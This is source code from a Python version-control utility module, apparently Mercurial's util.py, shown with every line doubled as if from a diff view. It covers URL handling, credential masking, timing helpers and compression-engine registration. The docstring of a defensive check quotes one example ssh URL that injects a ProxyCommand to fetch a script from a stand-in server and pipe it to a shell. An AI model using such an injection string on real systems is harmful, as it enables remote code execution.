2764 if self.passwd:
2764 if self.passwd:
2765 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2765 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2766 if self.user or self.passwd:
2766 if self.user or self.passwd:
2767 s += '@'
2767 s += '@'
2768 if self.host:
2768 if self.host:
2769 if not (self.host.startswith('[') and self.host.endswith(']')):
2769 if not (self.host.startswith('[') and self.host.endswith(']')):
2770 s += urlreq.quote(self.host)
2770 s += urlreq.quote(self.host)
2771 else:
2771 else:
2772 s += self.host
2772 s += self.host
2773 if self.port:
2773 if self.port:
2774 s += ':' + urlreq.quote(self.port)
2774 s += ':' + urlreq.quote(self.port)
2775 if self.host:
2775 if self.host:
2776 s += '/'
2776 s += '/'
2777 if self.path:
2777 if self.path:
2778 # TODO: similar to the query string, we should not unescape the
2778 # TODO: similar to the query string, we should not unescape the
2779 # path when we store it, the path might contain '%2f' = '/',
2779 # path when we store it, the path might contain '%2f' = '/',
2780 # which we should *not* escape.
2780 # which we should *not* escape.
2781 s += urlreq.quote(self.path, safe=self._safepchars)
2781 s += urlreq.quote(self.path, safe=self._safepchars)
2782 if self.query:
2782 if self.query:
2783 # we store the query in escaped form.
2783 # we store the query in escaped form.
2784 s += '?' + self.query
2784 s += '?' + self.query
2785 if self.fragment is not None:
2785 if self.fragment is not None:
2786 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2786 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2787 return s
2787 return s
2788
2788
2789 __str__ = encoding.strmethod(__bytes__)
2789 __str__ = encoding.strmethod(__bytes__)
2790
2790
2791 def authinfo(self):
2791 def authinfo(self):
2792 user, passwd = self.user, self.passwd
2792 user, passwd = self.user, self.passwd
2793 try:
2793 try:
2794 self.user, self.passwd = None, None
2794 self.user, self.passwd = None, None
2795 s = bytes(self)
2795 s = bytes(self)
2796 finally:
2796 finally:
2797 self.user, self.passwd = user, passwd
2797 self.user, self.passwd = user, passwd
2798 if not self.user:
2798 if not self.user:
2799 return (s, None)
2799 return (s, None)
2800 # authinfo[1] is passed to urllib2 password manager, and its
2800 # authinfo[1] is passed to urllib2 password manager, and its
2801 # URIs must not contain credentials. The host is passed in the
2801 # URIs must not contain credentials. The host is passed in the
2802 # URIs list because Python < 2.4.3 uses only that to search for
2802 # URIs list because Python < 2.4.3 uses only that to search for
2803 # a password.
2803 # a password.
2804 return (s, (None, (s, self.host),
2804 return (s, (None, (s, self.host),
2805 self.user, self.passwd or ''))
2805 self.user, self.passwd or ''))
2806
2806
2807 def isabs(self):
2807 def isabs(self):
2808 if self.scheme and self.scheme != 'file':
2808 if self.scheme and self.scheme != 'file':
2809 return True # remote URL
2809 return True # remote URL
2810 if hasdriveletter(self.path):
2810 if hasdriveletter(self.path):
2811 return True # absolute for our purposes - can't be joined()
2811 return True # absolute for our purposes - can't be joined()
2812 if self.path.startswith(br'\\'):
2812 if self.path.startswith(br'\\'):
2813 return True # Windows UNC path
2813 return True # Windows UNC path
2814 if self.path.startswith('/'):
2814 if self.path.startswith('/'):
2815 return True # POSIX-style
2815 return True # POSIX-style
2816 return False
2816 return False
2817
2817
2818 def localpath(self):
2818 def localpath(self):
2819 if self.scheme == 'file' or self.scheme == 'bundle':
2819 if self.scheme == 'file' or self.scheme == 'bundle':
2820 path = self.path or '/'
2820 path = self.path or '/'
2821 # For Windows, we need to promote hosts containing drive
2821 # For Windows, we need to promote hosts containing drive
2822 # letters to paths with drive letters.
2822 # letters to paths with drive letters.
2823 if hasdriveletter(self._hostport):
2823 if hasdriveletter(self._hostport):
2824 path = self._hostport + '/' + self.path
2824 path = self._hostport + '/' + self.path
2825 elif (self.host is not None and self.path
2825 elif (self.host is not None and self.path
2826 and not hasdriveletter(path)):
2826 and not hasdriveletter(path)):
2827 path = '/' + path
2827 path = '/' + path
2828 return path
2828 return path
2829 return self._origpath
2829 return self._origpath
2830
2830
2831 def islocal(self):
2831 def islocal(self):
2832 '''whether localpath will return something that posixfile can open'''
2832 '''whether localpath will return something that posixfile can open'''
2833 return (not self.scheme or self.scheme == 'file'
2833 return (not self.scheme or self.scheme == 'file'
2834 or self.scheme == 'bundle')
2834 or self.scheme == 'bundle')
2835
2835
2836 def hasscheme(path):
2836 def hasscheme(path):
2837 return bool(url(path).scheme)
2837 return bool(url(path).scheme)
2838
2838
2839 def hasdriveletter(path):
2839 def hasdriveletter(path):
2840 return path and path[1:2] == ':' and path[0:1].isalpha()
2840 return path and path[1:2] == ':' and path[0:1].isalpha()
2841
2841
2842 def urllocalpath(path):
2842 def urllocalpath(path):
2843 return url(path, parsequery=False, parsefragment=False).localpath()
2843 return url(path, parsequery=False, parsefragment=False).localpath()
2844
2844
2845 def checksafessh(path):
2845 def checksafessh(path):
2846 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2846 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2847
2847
2848 This is a sanity check for ssh urls. ssh will parse the first item as
2848 This is a sanity check for ssh urls. ssh will parse the first item as
2849 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2849 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2850 Let's prevent these potentially exploited urls entirely and warn the
2850 Let's prevent these potentially exploited urls entirely and warn the
2851 user.
2851 user.
2852
2852
2853 Raises an error.Abort when the url is unsafe.
2853 Raises an error.Abort when the url is unsafe.
2854 """
2854 """
2855 path = urlreq.unquote(path)
2855 path = urlreq.unquote(path)
2856 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2856 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2857 raise error.Abort(_('potentially unsafe url: %r') %
2857 raise error.Abort(_('potentially unsafe url: %r') %
2858 (pycompat.bytestr(path),))
2858 (pycompat.bytestr(path),))
2859
2859
2860 def hidepassword(u):
2860 def hidepassword(u):
2861 '''hide user credential in a url string'''
2861 '''hide user credential in a url string'''
2862 u = url(u)
2862 u = url(u)
2863 if u.passwd:
2863 if u.passwd:
2864 u.passwd = '***'
2864 u.passwd = '***'
2865 return bytes(u)
2865 return bytes(u)
2866
2866
2867 def removeauth(u):
2867 def removeauth(u):
2868 '''remove all authentication information from a url string'''
2868 '''remove all authentication information from a url string'''
2869 u = url(u)
2869 u = url(u)
2870 u.user = u.passwd = None
2870 u.user = u.passwd = None
2871 return bytes(u)
2871 return bytes(u)
2872
2872
2873 timecount = unitcountfn(
2873 timecount = unitcountfn(
2874 (1, 1e3, _('%.0f s')),
2874 (1, 1e3, _('%.0f s')),
2875 (100, 1, _('%.1f s')),
2875 (100, 1, _('%.1f s')),
2876 (10, 1, _('%.2f s')),
2876 (10, 1, _('%.2f s')),
2877 (1, 1, _('%.3f s')),
2877 (1, 1, _('%.3f s')),
2878 (100, 0.001, _('%.1f ms')),
2878 (100, 0.001, _('%.1f ms')),
2879 (10, 0.001, _('%.2f ms')),
2879 (10, 0.001, _('%.2f ms')),
2880 (1, 0.001, _('%.3f ms')),
2880 (1, 0.001, _('%.3f ms')),
2881 (100, 0.000001, _('%.1f us')),
2881 (100, 0.000001, _('%.1f us')),
2882 (10, 0.000001, _('%.2f us')),
2882 (10, 0.000001, _('%.2f us')),
2883 (1, 0.000001, _('%.3f us')),
2883 (1, 0.000001, _('%.3f us')),
2884 (100, 0.000000001, _('%.1f ns')),
2884 (100, 0.000000001, _('%.1f ns')),
2885 (10, 0.000000001, _('%.2f ns')),
2885 (10, 0.000000001, _('%.2f ns')),
2886 (1, 0.000000001, _('%.3f ns')),
2886 (1, 0.000000001, _('%.3f ns')),
2887 )
2887 )
2888
2888
2889 @attr.s
2889 @attr.s
2890 class timedcmstats(object):
2890 class timedcmstats(object):
2891 """Stats information produced by the timedcm context manager on entering."""
2891 """Stats information produced by the timedcm context manager on entering."""
2892
2892
2893 # the starting value of the timer as a float (meaning and resulution is
2893 # the starting value of the timer as a float (meaning and resulution is
2894 # platform dependent, see util.timer)
2894 # platform dependent, see util.timer)
2895 start = attr.ib(default=attr.Factory(lambda: timer()))
2895 start = attr.ib(default=attr.Factory(lambda: timer()))
2896 # the number of seconds as a floating point value; starts at 0, updated when
2896 # the number of seconds as a floating point value; starts at 0, updated when
2897 # the context is exited.
2897 # the context is exited.
2898 elapsed = attr.ib(default=0)
2898 elapsed = attr.ib(default=0)
2899 # the number of nested timedcm context managers.
2899 # the number of nested timedcm context managers.
2900 level = attr.ib(default=1)
2900 level = attr.ib(default=1)
2901
2901
2902 def __bytes__(self):
2902 def __bytes__(self):
2903 return timecount(self.elapsed) if self.elapsed else '<unknown>'
2903 return timecount(self.elapsed) if self.elapsed else '<unknown>'
2904
2904
2905 __str__ = encoding.strmethod(__bytes__)
2905 __str__ = encoding.strmethod(__bytes__)
2906
2906
2907 @contextlib.contextmanager
2907 @contextlib.contextmanager
2908 def timedcm(whencefmt, *whenceargs):
2908 def timedcm(whencefmt, *whenceargs):
2909 """A context manager that produces timing information for a given context.
2909 """A context manager that produces timing information for a given context.
2910
2910
2911 On entering a timedcmstats instance is produced.
2911 On entering a timedcmstats instance is produced.
2912
2912
2913 This context manager is reentrant.
2913 This context manager is reentrant.
2914
2914
2915 """
2915 """
2916 # track nested context managers
2916 # track nested context managers
2917 timedcm._nested += 1
2917 timedcm._nested += 1
2918 timing_stats = timedcmstats(level=timedcm._nested)
2918 timing_stats = timedcmstats(level=timedcm._nested)
2919 try:
2919 try:
2920 with tracing.log(whencefmt, *whenceargs):
2920 with tracing.log(whencefmt, *whenceargs):
2921 yield timing_stats
2921 yield timing_stats
2922 finally:
2922 finally:
2923 timing_stats.elapsed = timer() - timing_stats.start
2923 timing_stats.elapsed = timer() - timing_stats.start
2924 timedcm._nested -= 1
2924 timedcm._nested -= 1
2925
2925
2926 timedcm._nested = 0
2926 timedcm._nested = 0
2927
2927
2928 def timed(func):
2928 def timed(func):
2929 '''Report the execution time of a function call to stderr.
2929 '''Report the execution time of a function call to stderr.
2930
2930
2931 During development, use as a decorator when you need to measure
2931 During development, use as a decorator when you need to measure
2932 the cost of a function, e.g. as follows:
2932 the cost of a function, e.g. as follows:
2933
2933
2934 @util.timed
2934 @util.timed
2935 def foo(a, b, c):
2935 def foo(a, b, c):
2936 pass
2936 pass
2937 '''
2937 '''
2938
2938
2939 def wrapper(*args, **kwargs):
2939 def wrapper(*args, **kwargs):
2940 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
2940 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
2941 result = func(*args, **kwargs)
2941 result = func(*args, **kwargs)
2942 stderr = procutil.stderr
2942 stderr = procutil.stderr
2943 stderr.write('%s%s: %s\n' % (
2943 stderr.write('%s%s: %s\n' % (
2944 ' ' * time_stats.level * 2, pycompat.bytestr(func.__name__),
2944 ' ' * time_stats.level * 2, pycompat.bytestr(func.__name__),
2945 time_stats))
2945 time_stats))
2946 return result
2946 return result
2947 return wrapper
2947 return wrapper
2948
2948
2949 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2949 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2950 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2950 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2951
2951
2952 def sizetoint(s):
2952 def sizetoint(s):
2953 '''Convert a space specifier to a byte count.
2953 '''Convert a space specifier to a byte count.
2954
2954
2955 >>> sizetoint(b'30')
2955 >>> sizetoint(b'30')
2956 30
2956 30
2957 >>> sizetoint(b'2.2kb')
2957 >>> sizetoint(b'2.2kb')
2958 2252
2958 2252
2959 >>> sizetoint(b'6M')
2959 >>> sizetoint(b'6M')
2960 6291456
2960 6291456
2961 '''
2961 '''
2962 t = s.strip().lower()
2962 t = s.strip().lower()
2963 try:
2963 try:
2964 for k, u in _sizeunits:
2964 for k, u in _sizeunits:
2965 if t.endswith(k):
2965 if t.endswith(k):
2966 return int(float(t[:-len(k)]) * u)
2966 return int(float(t[:-len(k)]) * u)
2967 return int(t)
2967 return int(t)
2968 except ValueError:
2968 except ValueError:
2969 raise error.ParseError(_("couldn't parse size: %s") % s)
2969 raise error.ParseError(_("couldn't parse size: %s") % s)
2970
2970
2971 class hooks(object):
2971 class hooks(object):
2972 '''A collection of hook functions that can be used to extend a
2972 '''A collection of hook functions that can be used to extend a
2973 function's behavior. Hooks are called in lexicographic order,
2973 function's behavior. Hooks are called in lexicographic order,
2974 based on the names of their sources.'''
2974 based on the names of their sources.'''
2975
2975
2976 def __init__(self):
2976 def __init__(self):
2977 self._hooks = []
2977 self._hooks = []
2978
2978
2979 def add(self, source, hook):
2979 def add(self, source, hook):
2980 self._hooks.append((source, hook))
2980 self._hooks.append((source, hook))
2981
2981
2982 def __call__(self, *args):
2982 def __call__(self, *args):
2983 self._hooks.sort(key=lambda x: x[0])
2983 self._hooks.sort(key=lambda x: x[0])
2984 results = []
2984 results = []
2985 for source, hook in self._hooks:
2985 for source, hook in self._hooks:
2986 results.append(hook(*args))
2986 results.append(hook(*args))
2987 return results
2987 return results
2988
2988
2989 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2989 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2990 '''Yields lines for a nicely formatted stacktrace.
2990 '''Yields lines for a nicely formatted stacktrace.
2991 Skips the 'skip' last entries, then return the last 'depth' entries.
2991 Skips the 'skip' last entries, then return the last 'depth' entries.
2992 Each file+linenumber is formatted according to fileline.
2992 Each file+linenumber is formatted according to fileline.
2993 Each line is formatted according to line.
2993 Each line is formatted according to line.
2994 If line is None, it yields:
2994 If line is None, it yields:
2995 length of longest filepath+line number,
2995 length of longest filepath+line number,
2996 filepath+linenumber,
2996 filepath+linenumber,
2997 function
2997 function
2998
2998
2999 Not be used in production code but very convenient while developing.
2999 Not be used in production code but very convenient while developing.
3000 '''
3000 '''
3001 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3001 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3002 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3002 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3003 ][-depth:]
3003 ][-depth:]
3004 if entries:
3004 if entries:
3005 fnmax = max(len(entry[0]) for entry in entries)
3005 fnmax = max(len(entry[0]) for entry in entries)
3006 for fnln, func in entries:
3006 for fnln, func in entries:
3007 if line is None:
3007 if line is None:
3008 yield (fnmax, fnln, func)
3008 yield (fnmax, fnln, func)
3009 else:
3009 else:
3010 yield line % (fnmax, fnln, func)
3010 yield line % (fnmax, fnln, func)
3011
3011
3012 def debugstacktrace(msg='stacktrace', skip=0,
3012 def debugstacktrace(msg='stacktrace', skip=0,
3013 f=procutil.stderr, otherf=procutil.stdout, depth=0):
3013 f=procutil.stderr, otherf=procutil.stdout, depth=0):
3014 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3014 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3015 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3015 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3016 By default it will flush stdout first.
3016 By default it will flush stdout first.
3017 It can be used everywhere and intentionally does not require an ui object.
3017 It can be used everywhere and intentionally does not require an ui object.
3018 Not be used in production code but very convenient while developing.
3018 Not be used in production code but very convenient while developing.
3019 '''
3019 '''
3020 if otherf:
3020 if otherf:
3021 otherf.flush()
3021 otherf.flush()
3022 f.write('%s at:\n' % msg.rstrip())
3022 f.write('%s at:\n' % msg.rstrip())
3023 for line in getstackframes(skip + 1, depth=depth):
3023 for line in getstackframes(skip + 1, depth=depth):
3024 f.write(line)
3024 f.write(line)
3025 f.flush()
3025 f.flush()
3026
3026
3027 class dirs(object):
3027 class dirs(object):
3028 '''a multiset of directory names from a dirstate or manifest'''
3028 '''a multiset of directory names from a dirstate or manifest'''
3029
3029
3030 def __init__(self, map, skip=None):
3030 def __init__(self, map, skip=None):
3031 self._dirs = {}
3031 self._dirs = {}
3032 addpath = self.addpath
3032 addpath = self.addpath
3033 if safehasattr(map, 'iteritems') and skip is not None:
3033 if safehasattr(map, 'iteritems') and skip is not None:
3034 for f, s in map.iteritems():
3034 for f, s in map.iteritems():
3035 if s[0] != skip:
3035 if s[0] != skip:
3036 addpath(f)
3036 addpath(f)
3037 else:
3037 else:
3038 for f in map:
3038 for f in map:
3039 addpath(f)
3039 addpath(f)
3040
3040
3041 def addpath(self, path):
3041 def addpath(self, path):
3042 dirs = self._dirs
3042 dirs = self._dirs
3043 for base in finddirs(path):
3043 for base in finddirs(path):
3044 if base in dirs:
3044 if base in dirs:
3045 dirs[base] += 1
3045 dirs[base] += 1
3046 return
3046 return
3047 dirs[base] = 1
3047 dirs[base] = 1
3048
3048
3049 def delpath(self, path):
3049 def delpath(self, path):
3050 dirs = self._dirs
3050 dirs = self._dirs
3051 for base in finddirs(path):
3051 for base in finddirs(path):
3052 if dirs[base] > 1:
3052 if dirs[base] > 1:
3053 dirs[base] -= 1
3053 dirs[base] -= 1
3054 return
3054 return
3055 del dirs[base]
3055 del dirs[base]
3056
3056
3057 def __iter__(self):
3057 def __iter__(self):
3058 return iter(self._dirs)
3058 return iter(self._dirs)
3059
3059
3060 def __contains__(self, d):
3060 def __contains__(self, d):
3061 return d in self._dirs
3061 return d in self._dirs
3062
3062
3063 if safehasattr(parsers, 'dirs'):
3063 if safehasattr(parsers, 'dirs'):
3064 dirs = parsers.dirs
3064 dirs = parsers.dirs
3065
3065
3066 def finddirs(path):
3066 def finddirs(path):
3067 pos = path.rfind('/')
3067 pos = path.rfind('/')
3068 while pos != -1:
3068 while pos != -1:
3069 yield path[:pos]
3069 yield path[:pos]
3070 pos = path.rfind('/', 0, pos)
3070 pos = path.rfind('/', 0, pos)
3071
3071
3072 # compression code
3072 # compression code
3073
3073
3074 SERVERROLE = 'server'
3074 SERVERROLE = 'server'
3075 CLIENTROLE = 'client'
3075 CLIENTROLE = 'client'
3076
3076
3077 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3077 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3078 (u'name', u'serverpriority',
3078 (u'name', u'serverpriority',
3079 u'clientpriority'))
3079 u'clientpriority'))
3080
3080
3081 class compressormanager(object):
3081 class compressormanager(object):
3082 """Holds registrations of various compression engines.
3082 """Holds registrations of various compression engines.
3083
3083
3084 This class essentially abstracts the differences between compression
3084 This class essentially abstracts the differences between compression
3085 engines to allow new compression formats to be added easily, possibly from
3085 engines to allow new compression formats to be added easily, possibly from
3086 extensions.
3086 extensions.
3087
3087
3088 Compressors are registered against the global instance by calling its
3088 Compressors are registered against the global instance by calling its
3089 ``register()`` method.
3089 ``register()`` method.
3090 """
3090 """
3091 def __init__(self):
3091 def __init__(self):
3092 self._engines = {}
3092 self._engines = {}
3093 # Bundle spec human name to engine name.
3093 # Bundle spec human name to engine name.
3094 self._bundlenames = {}
3094 self._bundlenames = {}
3095 # Internal bundle identifier to engine name.
3095 # Internal bundle identifier to engine name.
3096 self._bundletypes = {}
3096 self._bundletypes = {}
3097 # Revlog header to engine name.
3097 # Revlog header to engine name.
3098 self._revlogheaders = {}
3098 self._revlogheaders = {}
3099 # Wire proto identifier to engine name.
3099 # Wire proto identifier to engine name.
3100 self._wiretypes = {}
3100 self._wiretypes = {}
3101
3101
3102 def __getitem__(self, key):
3102 def __getitem__(self, key):
3103 return self._engines[key]
3103 return self._engines[key]
3104
3104
3105 def __contains__(self, key):
3105 def __contains__(self, key):
3106 return key in self._engines
3106 return key in self._engines
3107
3107
3108 def __iter__(self):
3108 def __iter__(self):
3109 return iter(self._engines.keys())
3109 return iter(self._engines.keys())
3110
3110
3111 def register(self, engine):
3111 def register(self, engine):
3112 """Register a compression engine with the manager.
3112 """Register a compression engine with the manager.
3113
3113
3114 The argument must be a ``compressionengine`` instance.
3114 The argument must be a ``compressionengine`` instance.
3115 """
3115 """
3116 if not isinstance(engine, compressionengine):
3116 if not isinstance(engine, compressionengine):
3117 raise ValueError(_('argument must be a compressionengine'))
3117 raise ValueError(_('argument must be a compressionengine'))
3118
3118
3119 name = engine.name()
3119 name = engine.name()
3120
3120
3121 if name in self._engines:
3121 if name in self._engines:
3122 raise error.Abort(_('compression engine %s already registered') %
3122 raise error.Abort(_('compression engine %s already registered') %
3123 name)
3123 name)
3124
3124
3125 bundleinfo = engine.bundletype()
3125 bundleinfo = engine.bundletype()
3126 if bundleinfo:
3126 if bundleinfo:
3127 bundlename, bundletype = bundleinfo
3127 bundlename, bundletype = bundleinfo
3128
3128
3129 if bundlename in self._bundlenames:
3129 if bundlename in self._bundlenames:
3130 raise error.Abort(_('bundle name %s already registered') %
3130 raise error.Abort(_('bundle name %s already registered') %
3131 bundlename)
3131 bundlename)
3132 if bundletype in self._bundletypes:
3132 if bundletype in self._bundletypes:
3133 raise error.Abort(_('bundle type %s already registered by %s') %
3133 raise error.Abort(_('bundle type %s already registered by %s') %
3134 (bundletype, self._bundletypes[bundletype]))
3134 (bundletype, self._bundletypes[bundletype]))
3135
3135
3136 # No external facing name declared.
3136 # No external facing name declared.
3137 if bundlename:
3137 if bundlename:
3138 self._bundlenames[bundlename] = name
3138 self._bundlenames[bundlename] = name
3139
3139
3140 self._bundletypes[bundletype] = name
3140 self._bundletypes[bundletype] = name
3141
3141
3142 wiresupport = engine.wireprotosupport()
3142 wiresupport = engine.wireprotosupport()
3143 if wiresupport:
3143 if wiresupport:
3144 wiretype = wiresupport.name
3144 wiretype = wiresupport.name
3145 if wiretype in self._wiretypes:
3145 if wiretype in self._wiretypes:
3146 raise error.Abort(_('wire protocol compression %s already '
3146 raise error.Abort(_('wire protocol compression %s already '
3147 'registered by %s') %
3147 'registered by %s') %
3148 (wiretype, self._wiretypes[wiretype]))
3148 (wiretype, self._wiretypes[wiretype]))
3149
3149
3150 self._wiretypes[wiretype] = name
3150 self._wiretypes[wiretype] = name
3151
3151
3152 revlogheader = engine.revlogheader()
3152 revlogheader = engine.revlogheader()
3153 if revlogheader and revlogheader in self._revlogheaders:
3153 if revlogheader and revlogheader in self._revlogheaders:
3154 raise error.Abort(_('revlog header %s already registered by %s') %
3154 raise error.Abort(_('revlog header %s already registered by %s') %
3155 (revlogheader, self._revlogheaders[revlogheader]))
3155 (revlogheader, self._revlogheaders[revlogheader]))
3156
3156
3157 if revlogheader:
3157 if revlogheader:
3158 self._revlogheaders[revlogheader] = name
3158 self._revlogheaders[revlogheader] = name
3159
3159
3160 self._engines[name] = engine
3160 self._engines[name] = engine
3161
3161
3162 @property
3162 @property
3163 def supportedbundlenames(self):
3163 def supportedbundlenames(self):
3164 return set(self._bundlenames.keys())
3164 return set(self._bundlenames.keys())
3165
3165
3166 @property
3166 @property
3167 def supportedbundletypes(self):
3167 def supportedbundletypes(self):
3168 return set(self._bundletypes.keys())
3168 return set(self._bundletypes.keys())
3169
3169
3170 def forbundlename(self, bundlename):
3170 def forbundlename(self, bundlename):
3171 """Obtain a compression engine registered to a bundle name.
3171 """Obtain a compression engine registered to a bundle name.
3172
3172
3173 Will raise KeyError if the bundle type isn't registered.
3173 Will raise KeyError if the bundle type isn't registered.
3174
3174
3175 Will abort if the engine is known but not available.
3175 Will abort if the engine is known but not available.
3176 """
3176 """
3177 engine = self._engines[self._bundlenames[bundlename]]
3177 engine = self._engines[self._bundlenames[bundlename]]
3178 if not engine.available():
3178 if not engine.available():
3179 raise error.Abort(_('compression engine %s could not be loaded') %
3179 raise error.Abort(_('compression engine %s could not be loaded') %
3180 engine.name())
3180 engine.name())
3181 return engine
3181 return engine
3182
3182
3183 def forbundletype(self, bundletype):
3183 def forbundletype(self, bundletype):
3184 """Obtain a compression engine registered to a bundle type.
3184 """Obtain a compression engine registered to a bundle type.
3185
3185
3186 Will raise KeyError if the bundle type isn't registered.
3186 Will raise KeyError if the bundle type isn't registered.
3187
3187
3188 Will abort if the engine is known but not available.
3188 Will abort if the engine is known but not available.
3189 """
3189 """
3190 engine = self._engines[self._bundletypes[bundletype]]
3190 engine = self._engines[self._bundletypes[bundletype]]
3191 if not engine.available():
3191 if not engine.available():
3192 raise error.Abort(_('compression engine %s could not be loaded') %
3192 raise error.Abort(_('compression engine %s could not be loaded') %
3193 engine.name())
3193 engine.name())
3194 return engine
3194 return engine
3195
3195
3196 def supportedwireengines(self, role, onlyavailable=True):
3196 def supportedwireengines(self, role, onlyavailable=True):
3197 """Obtain compression engines that support the wire protocol.
3197 """Obtain compression engines that support the wire protocol.
3198
3198
3199 Returns a list of engines in prioritized order, most desired first.
3199 Returns a list of engines in prioritized order, most desired first.
3200
3200
3201 If ``onlyavailable`` is set, filter out engines that can't be
3201 If ``onlyavailable`` is set, filter out engines that can't be
3202 loaded.
3202 loaded.
3203 """
3203 """
3204 assert role in (SERVERROLE, CLIENTROLE)
3204 assert role in (SERVERROLE, CLIENTROLE)
3205
3205
3206 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3206 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3207
3207
3208 engines = [self._engines[e] for e in self._wiretypes.values()]
3208 engines = [self._engines[e] for e in self._wiretypes.values()]
3209 if onlyavailable:
3209 if onlyavailable:
3210 engines = [e for e in engines if e.available()]
3210 engines = [e for e in engines if e.available()]
3211
3211
3212 def getkey(e):
3212 def getkey(e):
3213 # Sort first by priority, highest first. In case of tie, sort
3213 # Sort first by priority, highest first. In case of tie, sort
3214 # alphabetically. This is arbitrary, but ensures output is
3214 # alphabetically. This is arbitrary, but ensures output is
3215 # stable.
3215 # stable.
3216 w = e.wireprotosupport()
3216 w = e.wireprotosupport()
3217 return -1 * getattr(w, attr), w.name
3217 return -1 * getattr(w, attr), w.name
3218
3218
3219 return list(sorted(engines, key=getkey))
3219 return list(sorted(engines, key=getkey))
3220
3220
3221 def forwiretype(self, wiretype):
3221 def forwiretype(self, wiretype):
3222 engine = self._engines[self._wiretypes[wiretype]]
3222 engine = self._engines[self._wiretypes[wiretype]]
3223 if not engine.available():
3223 if not engine.available():
3224 raise error.Abort(_('compression engine %s could not be loaded') %
3224 raise error.Abort(_('compression engine %s could not be loaded') %
3225 engine.name())
3225 engine.name())
3226 return engine
3226 return engine
3227
3227
3228 def forrevlogheader(self, header):
3228 def forrevlogheader(self, header):
3229 """Obtain a compression engine registered to a revlog header.
3229 """Obtain a compression engine registered to a revlog header.
3230
3230
3231 Will raise KeyError if the revlog header value isn't registered.
3231 Will raise KeyError if the revlog header value isn't registered.
3232 """
3232 """
3233 return self._engines[self._revlogheaders[header]]
3233 return self._engines[self._revlogheaders[header]]
3234
3234
3235 compengines = compressormanager()
3235 compengines = compressormanager()
3236
3236
3237 class compressionengine(object):
3237 class compressionengine(object):
3238 """Base class for compression engines.
3238 """Base class for compression engines.
3239
3239
3240 Compression engines must implement the interface defined by this class.
3240 Compression engines must implement the interface defined by this class.
3241 """
3241 """
3242 def name(self):
3242 def name(self):
3243 """Returns the name of the compression engine.
3243 """Returns the name of the compression engine.
3244
3244
3245 This is the key the engine is registered under.
3245 This is the key the engine is registered under.
3246
3246
3247 This method must be implemented.
3247 This method must be implemented.
3248 """
3248 """
3249 raise NotImplementedError()
3249 raise NotImplementedError()
3250
3250
3251 def available(self):
3251 def available(self):
3252 """Whether the compression engine is available.
3252 """Whether the compression engine is available.
3253
3253
3254 The intent of this method is to allow optional compression engines
3254 The intent of this method is to allow optional compression engines
3255 that may not be available in all installations (such as engines relying
3255 that may not be available in all installations (such as engines relying
3256 on C extensions that may not be present).
3256 on C extensions that may not be present).
3257 """
3257 """
3258 return True
3258 return True
3259
3259
3260 def bundletype(self):
3260 def bundletype(self):
3261 """Describes bundle identifiers for this engine.
3261 """Describes bundle identifiers for this engine.
3262
3262
3263 If this compression engine isn't supported for bundles, returns None.
3263 If this compression engine isn't supported for bundles, returns None.
3264
3264
3265 If this engine can be used for bundles, returns a 2-tuple of strings of
3265 If this engine can be used for bundles, returns a 2-tuple of strings of
3266 the user-facing "bundle spec" compression name and an internal
3266 the user-facing "bundle spec" compression name and an internal
3267 identifier used to denote the compression format within bundles. To
3267 identifier used to denote the compression format within bundles. To
3268 exclude the name from external usage, set the first element to ``None``.
3268 exclude the name from external usage, set the first element to ``None``.
3269
3269
3270 If bundle compression is supported, the class must also implement
3270 If bundle compression is supported, the class must also implement
3271 ``compressstream`` and `decompressorreader``.
3271 ``compressstream`` and `decompressorreader``.
3272
3272
3273 The docstring of this method is used in the help system to tell users
3273 The docstring of this method is used in the help system to tell users
3274 about this engine.
3274 about this engine.
3275 """
3275 """
3276 return None
3276 return None
3277
3277
3278 def wireprotosupport(self):
3278 def wireprotosupport(self):
3279 """Declare support for this compression format on the wire protocol.
3279 """Declare support for this compression format on the wire protocol.
3280
3280
3281 If this compression engine isn't supported for compressing wire
3281 If this compression engine isn't supported for compressing wire
3282 protocol payloads, returns None.
3282 protocol payloads, returns None.
3283
3283
3284 Otherwise, returns ``compenginewireprotosupport`` with the following
3284 Otherwise, returns ``compenginewireprotosupport`` with the following
3285 fields:
3285 fields:
3286
3286
3287 * String format identifier
3287 * String format identifier
3288 * Integer priority for the server
3288 * Integer priority for the server
3289 * Integer priority for the client
3289 * Integer priority for the client
3290
3290
3291 The integer priorities are used to order the advertisement of format
3291 The integer priorities are used to order the advertisement of format
3292 support by server and client. The highest integer is advertised
3292 support by server and client. The highest integer is advertised
3293 first. Integers with non-positive values aren't advertised.
3293 first. Integers with non-positive values aren't advertised.
3294
3294
3295 The priority values are somewhat arbitrary and only used for default
3295 The priority values are somewhat arbitrary and only used for default
3296 ordering. The relative order can be changed via config options.
3296 ordering. The relative order can be changed via config options.
3297
3297
